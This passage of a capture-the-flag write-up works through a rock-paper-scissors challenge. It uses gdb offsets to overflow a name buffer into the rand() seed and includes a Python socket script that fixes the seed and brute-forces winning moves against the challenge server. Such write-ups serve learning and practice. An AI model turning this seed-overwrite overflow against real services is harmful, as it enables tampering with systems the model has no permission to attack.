But, the address of line printing “Congrats” message contains \x0a character.
It is changed to other character when I push to the program.
I also try injecting shellcode to postfix, but it doesn’t work too.
Make it simple !
What about rand() ? Is it safe perfectly ?
I pay attention to seed of rand function. Seem like it can be overflowed too :)
Using gdb, i have where the name stored in memory
=> $bp-0x50
And ...seed
=> $bp-0x20
Calculate the length of payload:
1
0x50 - 0x20 = 0x30 ~ 48
So,
12
seed = 'AAAA'
payload = 'A' * 48 + seed
Keep the seed, we try to brute force the result.
I use this code:
#!/usr/bin/env python 2.7
import socket
import telnetlib
import struct
p = lambda x: struct.pack("I", x)
P = lambda x: struct.unpack("I", x)
q = lambda x: struct.pack("<Q", x)
def interact():
t = telnetlib.Telnet()
t.sock = s
t.interact()
def r_until(st, debug=False):
ret = ""
while st not in ret:
lret = s.recv(8192)
if debug and len(lret) > 0:
print lret
ret += lret
return ret
def tryluck(s, c):
s.send(c + '\n')
result = s.recv(1024)
if 'win' in result:
return True
return False
if __name__ == '__main__':
correctAnswer = []
guessAnswer = 0 # 0 for R, 1 for P, 2 for S
for sessionID in range(0, 1000):
s = socket.create_connection(('milkyway.chal.mmactf.link', '1641'))
print r_until(':')
name = "A" * 52 # 48 + 4
s.send(name + '\n')
gameID = 0
while True:
print '[+] sessionID:', sessionID, ' gameID:', (gameID+1)
print '[+] correctAnswer', correctAnswer
print r_until(']', debug=True)
if gameID + 1 <= len(correctAnswer): # I have saved result for this game
s.send(correctAnswer[gameID] + '\n')
result = s.recv(1024)
print '[+] Result:', result
else: # no result for this game exists
if guessAnswer == 0:
answer = 'S'
elif guessAnswer == 1:
answer = 'R'
else:
answer = 'P'
if not tryluck(s, answer):
guessAnswer += 1 # choose another answer
break
correctAnswer.append(answer) # win, record the answer
guessAnswer = 0
gameID += 1